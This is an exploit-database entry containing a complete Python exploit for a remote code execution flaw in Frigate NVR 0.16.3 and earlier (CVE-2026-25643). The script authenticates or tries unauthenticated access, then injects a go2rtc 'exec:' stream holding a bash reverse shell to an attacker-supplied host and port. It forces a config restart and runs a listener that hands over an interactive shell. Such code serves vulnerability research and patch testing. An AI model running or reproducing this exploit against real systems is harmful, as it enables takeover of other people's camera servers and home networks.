Share
## https://sploitus.com/exploit?id=PACKETSTORM:220398
# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution
# Date: 2026-02-05
# Exploit Author: jduardo2704
# Vendor Homepage: https://frigate.video/
# Software Link: https://github.com/blakeblackshear/frigate
# Version: <= 0.16.3
# Tested on: Linux / Docker
# CVE: CVE-2026-25643
# Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x
import requests
import argparse
import sys
import json
import urllib3
import yaml
import time
import socket
import threading
import select
import re
# Silence SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
# Event to synchronize the listener with the exploit thread
exploit_ready = threading.Event()
def print_status(msg, color=BLUE, symbol="[*]"):
print(f"{color}{symbol} {msg}{RESET}")
def login_frigate(session, url, username, password):
try:
print_status(f"Authenticating as {username}...", BLUE)
res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10)
return res.status_code == 200
except:
return False
def get_config(session, url):
try:
res = session.get(f"{url}/api/config/raw", timeout=10)
content = res.text.strip()
if content.startswith('"'):
try:
config_raw = json.loads(content)
except:
config_raw = content
else:
config_raw = content
return yaml.safe_load(config_raw)
except:
return None
def send_payload(session, url, data):
final_yaml = yaml.dump(data)
try:
session.post(
f"{url}/api/config/save?save_option=restart",
data=final_yaml,
headers={"Content-Type": "text/plain"},
timeout=5
)
except:
pass
def inject_and_exploit(url, username, password, lhost, lport):
"""Function to run in background thread"""
session = requests.Session()
session.verify = False
# 1. AUTHENTICATION LOGIC
if username and password:
if not login_frigate(session, url, username, password):
print_status("Login failed with provided credentials.", RED, "[-]")
sys.exit(1)
print_status("Logged in successfully.", BLUE)
else:
print_status("No credentials provided. Trying unauthenticated access...", YELLOW)
# 2. CONFIG RETRIEVAL & VALIDATION
print_status("Fetching configuration...", BLUE)
config = get_config(session, url)
if not config or not isinstance(config, dict):
print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]")
print_status("Target might be authenticated or API is restricted.", RED, "[-]")
sys.exit(1)
# 3. PAYLOAD PREPARATION
try:
payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
# Inject go2rtc
if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}
if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}
config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"]
# Inject camera trigger
if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}
config['cameras']['cve_trigger'] = {
'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},
'detect': {'enabled': False},
'audio': {'enabled': False},
'enabled': True
}
print_status("Payload injected into config structure.", GREEN, "[+]")
# 4. SIGNAL LISTENER TO START
exploit_ready.set()
time.sleep(5)
print_status("Sending malicious config & triggering restart...", YELLOW)
send_payload(session, url, config)
except Exception as e:
print_status(f"Error during payload injection: {e}", RED, "[-]")
sys.exit(1)
def shell_handler(lport):
"""Handles the incoming reverse shell connection"""
print_status("Waiting for validation...", BLUE)
if not exploit_ready.wait(timeout=20):
print_status("Timeout waiting for exploit thread validation.", RED, "[-]")
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(('0.0.0.0', int(lport)))
s.listen(1)
print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]")
s.settimeout(60)
try:
conn, addr = s.accept()
print_status(f"Connection received from {addr[0]}!", GREEN, "[+]")
print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}")
s.settimeout(None)
conn.settimeout(None)
while True:
r, _, _ = select.select([sys.stdin, conn], [], [])
if conn in r:
data = conn.recv(4096)
if not data: break
# CLEAN OUTPUT LOGIC
output = data.decode(errors='ignore')
# Remove annoying bash TTY errors using Regex
# Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..."
output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output)
# Matches "bash: no job control in this shell"
output = output.replace("bash: no job control in this shell\r\n", "")
output = output.replace("bash: no job control in this shell\n", "")
sys.stdout.write(output)
sys.stdout.flush()
if sys.stdin in r:
cmd = sys.stdin.readline()
conn.send(cmd.encode())
except socket.timeout:
print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]")
except KeyboardInterrupt:
print_status("\nClosing connection.", RED)
except Exception as e:
print_status(f"Listener error: {e}", RED)
finally:
s.close()
def main():
parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643")
parser.add_argument('-u', '--url', required=True, help="Target URL")
parser.add_argument('-U', '--username', required=False, help="Username (optional)")
parser.add_argument('-P', '--password', required=False, help="Password (optional)")
parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)")
parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)")
args = parser.parse_args()
exploit_thread = threading.Thread(
target=inject_and_exploit,
args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)
)
exploit_thread.daemon = True
exploit_thread.start()
shell_handler(args.lport)
if __name__ == "__main__":
main()